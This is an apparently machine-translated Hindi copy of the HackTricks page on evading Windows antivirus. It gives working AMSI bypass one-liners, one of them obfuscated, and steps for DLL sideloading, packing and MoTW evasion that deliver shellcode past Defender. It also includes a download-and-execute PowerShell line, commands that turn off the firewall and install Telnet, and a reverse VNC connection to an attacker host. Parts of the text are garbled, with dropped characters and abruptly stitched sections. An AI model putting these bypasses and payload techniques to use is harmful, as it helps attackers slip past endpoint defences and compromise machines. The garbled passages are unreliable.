hacktricks/windows-hardening/av-bypass.md

544 lines
54 KiB
Markdown

# एंटीवायरस (AV) बायपास
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github repos में PRs सबमिट करके।
</details>
**इस पेज को लिखा गया था** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
## **AV ईवेशन मेथडोलॉजी**
वर्तमान में, AVs एक फ़ाइल को क्या यह हानिकारक है या नहीं यह जांचने के लिए विभिन्न तरीके का उपयोग करते हैं, स्थैतिक पहचान, गतिशील विश्लेषण, और उनके लिए अधिक उन्नत EDRs, व्यवहारिक विश्लेषण।
### **स्थैतिक पहचान**
स्थैतिक पहचान को एक बाइनरी या स्क्रिप्ट में ज्ञात हानिकारक स्ट्रिंग या बाइट के गुणकों को झंडा दिखाकर प्राप्त किया जाता है, और भी फ़ाइल से जानकारी निकाली जाती है (जैसे फ़ाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि)। इसका मतलब है कि ज्ञात सार्वजनिक उपकरणों का उपयोग करने से आपको अधिक आसानी से पकड़ा जा सकता है, क्योंकि उन्होंने संशोधित और हानिकारक के रूप में झंडा दिया होगा। इस प्रकार की पहचान से चुटकुला करने के कुछ तरीके हैं:
* **एन्क्रिप्शन**
यदि आप बाइनरी को एन्क्रिप्ट करते हैं, तो AV को आपके कार्यक्रम का पता लगाने का कोई तरीका नहीं होगा, लेकिन आपको कुछ प्रकार के लोडर की आवश्यकता होगी जो कार्यक्रम को डिक्रिप्ट और मेमोरी में चलाने के लिए होगा।
* **अवशेषण**
कभी-कभी आपको अवशेषण करने के लिए बाइनरी या स्क्रिप्ट में कुछ स्ट्रिंग बदलने की आवश्यकता होती है ताकि यह AV को पार कर सके, लेकिन यह किसी भी चीज को अवशोषित करने के लिए समय लेने वाला काम हो सकता है आपके कोशिश कर रहे हैं।
* **कस्टम टूलिंग**
यदि आप अपने खुद के उपकरण विकसित करते हैं, तो कोई भी ज्ञात बुरे हस्ताक्षर नहीं होंगे, लेकिन इसमें बहुत समय और प्रयास लगेगा।
{% hint style="info" %}
Windows Defender स्थैतिक पहचान के खिलाफ जांच के लिए [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) एक अच्छा तरीका है। यह बुनियादी रूप से फ़ाइल को कई सेगमेंट में विभाजित करता है और फिर Defender को प्रत्येक एक को अलग-अलग स्कैन करने के लिए कार्यवाही करता है, इस तरह, यह आपको बता सकता है कि आपके बाइनरी में झंडा दिखाए गए स्ट्रिंग या बाइट क्या हैं।
{% endhint %}
मैं आपको इस [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) की जांच करने की अत्यधिक सिफारिश करता हूं जो व्यावहारिक AV ईवेशन के बारे में है।
### **गतिशील विश्लेषण**
गतिशील विश्लेषण तब होता है जब AV आपके बाइनरी को एक सैंडबॉक्स में चलाता है और हानिकारक गतिविधि के लिए देखता है (जैसे आपके ब्राउज़र के पासवर्ड डिक्रिप्ट और पढ़ने का प्रयास करना, LSASS पर मिनीडंप करना, आदि)। यह भाग काम करने में थोड़ा जटिल हो सकता है, लेकिन यहां कुछ चीजें हैं जो आप सैंडबॉक्स से बचने के लिए कर सकते हैं।
* **अभिनय से पहले सोना** इसे कैसे लागू किया गया है, यह AV के गतिशील विश्लेषण को छलने का एक बड़ा तरीका हो सकता है। AV के पास फ़ाइलों को स्कैन करने के लिए बहुत कम समय होता है ताकि उपयोगकर्ता के काम को बाधित न करें, इसलिए लंबी नींद का उपयोग करना बाइनरी के विश्लेषण को बाधित कर सकता है। समस्या यह है कि कई AV सैंडबॉक्स इसे छोड़ सकते हैं जैसे ही यह कैसे लागू किया गया है।
* **मशीन के संसाधनों की जांच** सामान्यत: सैंडबॉक्स के पास काम करने के लिए बहुत ही कम संसाधन होते हैं (जैसे < 2GB रैम), अन्यथ वे उपयगकर्त मश कर सकते हैं आप यह बहुत रचनत्मक सकते हैं, उदहरण के ि CPU पम ि फैन गति ंच करके, सैंडबक्स में सभ जें गू नह ंगी।
* **मशन-विशेष ंच** यदि आप उस उपयगकर्त लक्ष्य बन हते हैं िसक र्यस्थल "contoso.local" मेन से जुड़ ो, आप कंप्यूटर के मेन पर ंच कर सकते हैं ि क्य यह आपके द्व िर्दिष्ट ि गय है, यदि नह, आप अपने र्यक्रम बंद कर सकते हैं
पत चलत है ि इक्रफ्ट िफेंडर के सैंडबक्स कंप्यूटर HAL9TH है, इसलि, आप अपने मैलवेयर में कंप्यूटर ंच सकते हैं, यदि HAL9TH से मेल है, इसक मतलब है ि आप िफेंडर के सैंडबक्स के अंदर हैं, इसलि आप अपने र्यक्रम बंद कर सकते हैं
<figure><img src="../.gitbook/assets/image (3) (6).png" alt=""><figcaption><p>स्रोत: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
[@mgeeky](https://twitter.com/mariuszbit) से कुछ अन्य बहुत अच्छे टिप्स
<figure><img src="../.gitbook/assets/image (2) (1) (1) (2) (1).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev चैनल</p></figcaption></figure>
जैसा कि हमने इस पोस्ट में पहले कहा है, **सार्वजनिक उपकरण** अंततः **खोजा जाएगा**, इसलिए, आपको खुद को कुछ पूछना चाहिए:
उदाहरण क
```powershell
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
```
{% endcode %}
यह कमांड "C:\Program Files\\" के अंदर DLL हाइजैकिंग के लिए संवेदनशील कार्यक्रमों की सूची और वे DLL फ़ाइलें उत्पन्न करेगा।
मैं आपको **DLL हाइजैक करने योग्य/साइडलोड कार्यक्रम खुद खोजने** की अधिक सिफारिश करता हूँ, यह तकनीक सही ढंग से किया जाए तो काफी गुप्त रहती है, लेकिन यदि आप सार्वजनिक रूप से जाने जाने वाले DLL साइडलोड कार्यक्रम का उपयोग करते हैं, तो आप आसानी से पकड़े जा सकते हैं।
किसी भी दुरुपयोगी DLL को एक कार्यक्रम की उम्मीद करती है कि वह लोड करेगा, क्योंकि कार्यक्रम उस DLL के अंदर कुछ विशिष्ट कार्यों की उम्मीद करता है, इस समस्या को ठीक करने के लिए, हम एक और तकनीक का उपयोग करेंगे जिसे **DLL प्रॉक्सींग/फॉरवर्डिंग** कहा जाता है।
**DLL प्रॉक्सींग** कार्यक्रम द्वारा किए गए कॉल्स को प्रॉक्सी (और दुरुपयोगी) DLL से मूल DLL तक फॉरवर्ड करता है, इस प्रक्रिया से कार्यक्रम की कार्यक्षमता को संरक्षित रखता है और आपके पेलोड का निष्पादन करने में सक्षम होता है।
मैं [@flangvik](https://twitter.com/Flangvik/) के [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) परियोजना का उपयोग करूंगा।
ये वह कदम हैं जिन्हें मैंने अपनाए:
```
1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
{% endcode %}
आखिरी कमांड हमें 2 फ़ाइलें देगी: एक DLL स्रोत कोड टेम्पलेट, और मूल नाम बदल दी गई DLL।
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
{% code overflow="wrap" %}
```
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
```
{% endcode %}
ये हैं परिणाम:
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
हमारे शेलकोड (जिसे [SGN](https://github.com/EgeBalci/sgn) के साथ एन्कोड किया गया है) और प्रॉक्सी DLL दोनों का [antiscan.me](https://antiscan.me) में 0/26 डिटेक्शन दर है! मैं इसे एक सफलता कहूंगा।
<figure><img src="../.gitbook/assets/image (11) (3).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
मैं **ऊचा सिफारिश** करता हूं कि आप [S3cur3Th1sSh1t के twitch VOD](https://www.twitch.tv/videos/1644171543) को DLL साइडलोडिंग और [ippsec के वीडियो](https://www.youtube.com/watch?v=3eROsG\_WNpE) को देखें और हमने जो विस्तार से चर्चा की है, उसके बारे में अधिक जानें।
{% endhint %}
## [**Freeze**](https://github.com/optiv/Freeze)
`Freeze एक पेडलोड टूलकिट है जो EDRs को सस्पेंडेड प्रोसेसेस, डायरेक्ट सिसकॉल्स, और वैकल्पिक निष्पादन विधियों का उपयोग करके उन्हें छलाने के लिए है`
आप Freeze का उपयोग करके अपने शेलकोड को एक छलानेवाले तरीके में लोड और निष्पादित कर सकते हैं।
```
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender
```
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
टालना बस एक बिल्ली और चूहे का खेल है, जो आज काम करता है, कल पकड़ लिया जा सकता है, इसलिए कभी भी केवल एक उपकरण पर भरोसा न करें, यदि संभव हो तो कई टालने की तकनीकों को जोड़ने का प्रयास करें।
{% endhint %}
## AMSI (एंटी-मैलवेयर स्कैन इंटरफेस)
AMSI को "[फाइललेस मैलवेयर](https://en.wikipedia.org/wiki/Fileless\_malware)" को रोकने के लिए बनाया गया था। प्रारंभ में, AVs केवल **डिस्क पर फ़ाइलें** स्कैन करने में सक्षम थे, इसलिए यदि आप किसी प्रकार से payloads **सीधे मेमोरी में** निष्पादित कर सकते थे, तो AV कुछ भी नहीं कर सकता था इसे रोकने के लिए, क्योंकि इसके पास पर्याप्त दृश्यता नहीं थी।
AMSI सुविधा विंडोज के इन घटकों में एकीकृत है।
* उपयोगकर्ता खाता नियंत्रण, या UAC (EXE, COM, MSI, या ActiveX स्थापना का उन्नयन)
* पावरशेल (स्क्रिप्ट, इंटरैक्टिव उपयोग, और गतिशील कोड मूल्यांकन)
* विंडोज स्क्रिप्ट होस्ट (wscript.exe और cscript.exe)
* जावास्क्रिप्ट और वीबीस्क्रिप्ट
* ऑफिस VBA मैक्रो
यह एंटीवायरस समाधानों को स्क्रिप्ट व्यवहार की जांच करने की अनुमति देता है जिसे एक ऐसे रूप में उजागर किया गया है जो अनक्रिप्टेड और अनओब्फस्केटेड है।
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` चलाने पर विंडोज डिफेंडर पर निम्नलिखित चेतावनी प्रकट होगी।
<figure><img src="../.gitbook/assets/image (4) (5).png" alt=""><figcaption></figcaption></figure>
ध्यान दें कि यह `amsi:` को पहले जोड़ता है और फिर एक्जीक्यूटेबल का पथ जो स्क्रिप्ट चलाया गया, इस मामले में, powershell.exe
हमने किसी भी फ़ाइल को डिस्क पर नहीं छोड़ा, लेकिन फिर भी AMSI के कारण मेमोरी में पकड़ गए।
AMSI को चक्कर में लेने के कुछ तरीके हैं:
* **अवबफस्केशन**
क्योंकि AMSI मुख्य रूप से स्थिर पकड़ों के साथ काम करता है, इसलिए, जिन स्क्रिप्टों को आप लोड करने की कोशिश कर रहे हैं, उन्हें संशोधित करना डिटेक्शन से बचने का एक अच्छा तरीका हो सकता है।
हालांकि, AMSI के पास यदि यह कई लेयर्स हो तो भी स्क्रिप्टों को अनऑबफस्केट करने की क्षमता है, तो अवबफस्केशन किया जा सकता है, यह उस पर कितना काम किया गया है पर निर्भर करता है। यह इसे टालना इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको कुछ चरणों के नाम बदलने की आवश्यकता होती है और आप अच्छे हो जाएंगे, इसलिए यह उस पर कितना कुछ झंडा लगाया गया है पर निर्भर करता है।
* **AMSI बाइपास**
क्योंकि AMSI को पावरशेल (जैसे cscript.exe, wscript.exe, आदि) प्रक्रिया में एक DLL लोड करके लागू किया गया है, इसे आसानी से भ्रमित किया जा सकता है भले ही एक अनधिकृत उपयोगकर्ता के रूप में चल रहा हो। इस AMSI के कार्यान्वयन में दोष के कारण, शोधकर्ताओं ने AMSI स्कैनिंग से बचने के कई तरीके खोजे हैं।
**त्रुटि को बल प्रदान करना**
AMSI प्रारंभीकरण को विफल करने के लिए (amsiInitFailed) यह परिणाम होगा कि वर्तमान प्रक्रिया के लिए कोई स्कैन प्रारंभ नहीं होगा। मूल रूप से इसे [मैट ग्रेबर](https://twitter.com/mattifestation) ने खुलासा किया था और माइक्रोसॉफ्ट ने व्यापक उपयोग को रोकने के लिए एक हस्ताक्षर विकसित किया है।
{% code overflow="wrap" %}
```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
{% endcode %}
केवल एक पंक्ति पावरशेल कोड की आवश्यकता थी ताकि वर्तमान पावरशेल प्रक्रिया के लिए AMSI अप्रयोग्य हो जाए। यह पंक्ति बेशक AMSI द्वारा फ्लैग की गई है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है।
यहाँ एक संशोधित AMSI बाईपास है जिसे मैंने इस [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) से लिया है।
```powershell
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
**मेमोरी पैचिंग**
यह तकनीक पहले से ही [@RastaMouse](https://twitter.com/\_RastaMouse/) द्वारा खोजी गई थी और इसमें "AmsiScanBuffer" फ़ंक्शन के पते को amsi.dll में खोजना शामिल है (जो उपयोगकर्ता द्वारा प्रदान किए गए इनपुट की स्कैनिंग के लिए जिम्मेदार है) और इसे E\_INVALIDARG कोड के लिए वापस लौटने के निर्देशों के साथ अधिलेखित करना, इस तरह, वास्तविक स्कैन का परिणाम 0 लौटेगा, जिसे साफ परिणाम के रूप में व्याख्या किया जाएगा।
{% hint style="info" %}
कृपया अधिक विस्तृत व्याख्या के लिए [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) पढ़ें।
{% endhint %}
AMSI को बायपास करने के लिए और भी कई तकनीकें हैं जो पावरशेल के साथ उपयोग की जाती हैं, [**इस पृष्ठ**](basic-powershell-for-pentesters/#amsi-bypass) और [इस रेपो](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) की जाँच करें और उनके बारे में अधिक जानें।
या यह स्क्रिप्ट जो मेमोरी पैचिंग के माध्यम से पावरशेल को पैच करेगा।
## अवगुणन
कई उपकरण हैं जो क्लियर-टेक्स्ट को **अवगुणित करने** के लिए उपयोग किए जा सकते हैं, **मेटाप्रोग्रामिंग टेम्पलेट** जेनरेट करने के लिए तथा बाइनरी कोंपाइल करने या **कंपाइल किए गए बाइनरी को अवगुणित करने** के लिए जैसे:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# अवगुणक**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस परियोजना का उद्देश्य [LLVM](http://www.llvm.org/) कंपाइलेशन सुइट का एक ओपन-सोर्स फोर्क प्रदान करना है जो [कोड अवगुणन](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) और टैम्पर-प्रूफिंग के माध्यम से वृद्धि की सुरक्षा प्रदान कर सकता है।
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator दिखाता है कि कैसे `C++11/14` भाषा का उपयोग करके, कंपाइल समय पर, किसी भी बाह्य उपकरण का उपयोग किए बिना औबैस्केटेड कोड जेनरेट किया जा सकता है और कंपाइलर को संशोधित किए बिना।
* [**obfy**](https://github.com/fritzone/obfy): C++ टेम्पलेट मेटाप्रोग्रामिंग फ्रेमवर्क द्वारा जेनरेट किए गए अवगुणित ऑपरेशन की एक परत जो अनुप्रयोग को क्रैक करने वाले व्यक्ति की जिंदगी को थोड़ा सा कठिन बना देगी।
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 बाइनरी अवगुणक है जो विभिन्न पीई फ़ाइलों को अवगुणित करने में सक्षम है: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame एक सरल मेटामॉर्फिक कोड इंजन है जो विभिन्न क्रियान्वितियों के लिए है।
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक फाइन-ग्रेन्ड कोड अवगुणन फ्रेमवर्क है जो ROP (रिटर्न-ओरिएंटेड प्रोग्रामिंग) का उपयोग करके LLVM समर्थित भाषाओं के लिए कार्यक्रम को अवगुणित करता है। ROPfuscator एक कार्यक्रम को एसेम्बली कोड स्तर पर अवगुणित करता है जिसे सामान्य नियंत्रण प्रवाह की हमारी प्राकृतिक धारणा को बाधित करने के लिए नियामक निर्देशों में रूपांतरित करके।
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt एक .NET PE क्रिप्टर है जो Nim में लिखा गया है
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूदा EXE/DLL को शैलकोड में परिवर्तित करने और फिर उन्हें लोड करने में सक्षम है
## स्मार्टस्क्रीन और MoTW
आपने शायद इस स्क्रीन को देखा होगा जब इंटरनेट से कुछ एक्जीक्यूटेबल डाउनलोड करके उन्हें चलाते समय।
माइक्रोसॉफ्ट डिफेंडर स्मार्टस्क्रीन एक सुरक्षा तंत्र है जो अंत उपयोगकर्ता को पोटेंशियली हानिकारक एप्लिकेशन चलाने से बचाने के लिए निर्मित है।
<figure><img src="../.gitbook/assets/image (1) (4).png" alt=""><figcaption></figcaption></figure>
स्मार्टस्क्रीन मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, अर्थात असामान्य डाउनलोड एप्लिकेशन स्मार्टस्क्रीन को ट्रिगर करेंगे जिससे अंत उपयोगकर्ता को फ़ाइल को चलाने से रोका जाएगा (हालांकि फ़ाइल को फिर भी चलाया जा सकता है जरूरी जानकारी -> फिर भी चलाएं पर क्लिक करके)।
**MoTW** (Mark of The Web) एक [NTFS वैकल्पिक डेटा स्ट्रीम](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) है जिसका नाम Zone.Identifier है जो इंटरनेट से फ़ाइलें डाउनलोड करते समय स्वचालित रूप से बनाया जाता है, साथ ही उस URL के साथ जिससे यह डाउनलोड किया गया था।
<figure><img src="../.gitbook/assets/image (13) (3).png" alt=""><figcaption><p>इंटरनेट से डाउनलोड की गई फ़ाइल के लिए Zone.Identifier ADS की जाँच।</p></figcaption></figure>
{% hint style="info" %}
यह महत्वपूर्ण है कि **विश्वसनीय** हस्ताक्षर सर्टिफिकेट के साथ साइन की गई एक्जीक्यूटेबल्स **स्मार्टस्क्रीन को ट्रिगर नहीं करेंगे**
{% endhint %}
अपने पेलोड को MoTW से बचाने के लिए एक प्रकार के कंटेनर में पैकेज करना एक बहुत प्रभावी तरीका है जैसे कि एक ISO। यह इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **नॉन NTFS** वॉल्यूम पर लागू नहीं किया जा सकता है।
<figure><img src="../.gitbook/assets/image (12) (2) (2).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) एक उपकरण है जो पेलोड को मार्क ऑफ द वेब से बचाने के लिए आउटपुट कंटेनर में पैकेज करता है।
उदाहरण उपयोग:
```powershell
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
```
यहाँ एक डेमो है जिसमें [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) का उपयोग करके ISO फ़ाइलों में payloads को SmartScreen को बायपास करने का तरीका दिखाया गया है।
<figure><img src="../.gitbook/assets/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## C# Assembly Reflection
मेमोरी में C# बाइनरीज़ लोड करना काफी समय से जाना जा रहा है और यह एंटीवायरस द्वारा पकड़े जाने के बिना अपने पोस्ट-एक्सप्लोइटेशन टूल्स को चलाने का एक बहुत अच्छा तरीका है।
पेलोड सीधे मेमोरी में लोड हो जाएगा बिना डिस्क को छूते, इसलिए हमें केवल AMSI को पूरे प्रक्रिया के लिए पैच करने की चिंता करनी होगी।
अधिकांश C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, आदि) पहले से ही C# असेम्ब्लीज़ को मेमोरी में सीधे निष्पादित करने की क्षमता प्रदान करते हैं, लेकिन इसे करने के विभिन्न तरीके हैं:
* **Fork\&Run**
इसमें **एक नया बलिदानी प्रक्रिया उत्पन्न करना** शामिल है, अपने पोस्ट-एक्सप्लोइटेशन दुरुपयोगी कोड को उस नई प्रक्रिया में इंजेक्ट करना, अपने दुरुपयोगी कोड को निष्पादित करना और समाप्त होने पर, नई प्रक्रिया को मारना। इसके फायदे और नुकसान दोनों हैं। फोर्क और रन विधि का लाभ यह है कि निष्पादन हमारे बीकन इम्प्लांट प्रक्रिया के **बाहर** होता है। इसका यह मतलब है कि अगर हमारे पोस्ट-एक्सप्लोइटेशन कार्रवाई में कुछ गलत हो जाता है या पकड़ जाता है, तो हमारे **इम्प्लांट के जीवित रहने** की **अधिक संभावना** है। नुकसान यह है कि आपको **व्यवहारिक पकड़** के द्वारा पकड़ने की **अधिक संभावना** है।
<figure><img src="../.gitbook/assets/image (7) (1) (3).png" alt=""><figcaption></figcaption></figure>
* **Inline**
इसका मतलब है पोस्ट-एक्सप्लोइटेशन दुरुपयोगी कोड को **अपनी खुद की प्रक्रिया में** इंजेक्ट करना। इस तरीके से, आपको एक नई प्रक्रिया बनाने और उसे एवी से स्कैन करवाने की चिंता नहीं करनी पड़ेगी, लेकिन नुकसान यह है कि अगर आपके पेलोड के निष्पादन में कुछ गलत हो जाता है, तो आपके बीकन को खोने की **अधिक संभावना** है क्योंकि यह क्रैश हो सकता है।
<figure><img src="../.gitbook/assets/image (9) (3) (1).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
यदि आप C# Assembly लोडिंग के बारे में और अधिक पढ़ना चाहते हैं, तो कृपया इस लेख [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) और उनके InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) की जांच करें।
{% endhint %}
आप C# Assemblies **PowerShell से** भी लोड कर सकते हैं, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) और [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk) देखें।
## अन्य प्रोग्रामिंग भाषाओं का उपयोग
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित के अनुसार, हम आक्रमित मशीन को आक्रमक कोड का उपयोग करके अन्य भाषाओं का उपयोग करने की संभावना है **आक्रमक कंट्रोल किए गए SMB साझा** पर स्थापित अनुप्रयोगी परिवेश का उपयोग करके।
इंटरप्रीटर बाइनरीज़ और SMB साझा परिवेश का पहुंच देने द्वारा आप आक्रमित मशीन की मेमोरी में इन भाषाओं में विचारहीन कोड को **निष्पादित** कर सकते हैं।
रेपो इसका सुझाव देता है: Defender अब भी स्क्रिप्ट को स्कैन करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमें **स्थिर हस्ताक्षरों को बायपास करने** की **अधिकता** है। इन भाषाओं में अनियंत्रित रिवर्स शैल लिखे गए स्क्रिप्ट के परीक्षण सफल साबित हुआ है।
## उन्नत टालना
टालना एक बहुत जटिल विषय है, कभी-कभी आपको एक ही सिस्टम में कई विभिन्न टेलीमेट्री स्रोतों को ध्यान में रखना होता है, इसलिए पूरी तरह से परिपक्व वातावरण में पूरी तरह से अनप्रकट रहना लगभग असंभव है।
जिस भी वातावरण के खिलाफ आप जाते हैं, उसके अपने शक्तियों और कमजोरियों होते हैं।
मैं आपको उन्नत टालन तकनीकों के बारे में अधिक जानकारी प्राप्त करने के लिए इस टॉक को देखने की ऊर्जा देता हूं [@ATTL4S](https://twitter.com/DaniLJ94),।
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
यह एक और शानदार टॉक है [@mariuszbit](https://twitter.com/mariuszbit) के बारे में टालने के बारे में।
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
## **पुरानी तकनीकें**
### **जांचें कि Defender किस हिस्से को दुरुपयोगी मानता है**
आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो **बाइनरी के हिस्से को हटा देगा** जब तक यह **बाहर करने वाला हिस्सा** दुरुपयोगी मानता है और इसे आपको विभाजित करेगा।\
एक और उपकरण जो **एक ही चीज कर रहा है** है [**avred**](https://github.com/dobin/avred) जिसके एक ओपन वेब सेवा में सेवा प्रदान कर रहा है [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
इसे **शुरू** करें जब सिस्टम शुरू होता है और अब इसे **चलाएं**:
```bash
sc config TlntSVR start= auto obj= localsystem
```
**टेलनेट पोर्ट बदलें** (छल) और फ़ायरवॉल अक्षम करें:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
### UltraVNC
इसे यहाँ से डाउनलोड करें: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (आपको सेटअप नहीं, बिन डाउनलोड करना है)
**मेज़बान पर**: _**winvnc.exe**_ को चलाएं और सर्वर को कॉन्फ़िगर करें:
* _Disable TrayIcon_ विकल्प को सक्षम करें
* _VNC Password_ में पासवर्ड सेट करें
* _View-Only Password_ में पासवर्ड सेट करें
फिर, बाइनरी _**winvnc.exe**_ और **नया** बनाया गया फ़ाइल _**UltraVNC.ini**_ को **विक्टिम** के अंदर ले जाएं
#### **रिवर्स कनेक्शन**
**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` को चलाना चाहिए ताकि वह एक रिवर्स **VNC कनेक्शन** को पकड़ने के लिए **तैयार** हो जाए। फिर, **विक्टिम** के अंदर: winvnc डेमन चलाएं `winvnc.exe -run` और `winwnc.exe [-autoreconnect] -connect <हमलावर_ip>::5900`
**चेतावनी:** गुप्तचरता बनाए रखने के लिए आपको कुछ चीज़ें नहीं करनी चाहिए
* अगर यह पहले से चल रहा है, तो `winvnc` न चलाएं या आपको [पॉपअप](https://i.imgur.com/1SROTTl.png) को ट्रिगर कर देगा। `tasklist | findstr winvnc` के साथ चल रहा है या नहीं यह जांचें
* `UltraVNC.ini` के बिना `winvnc` न चलाएं या यह [कॉन्फ़िग विंडो](https://i.imgur.com/rfMQWcf.png) खोल देगा
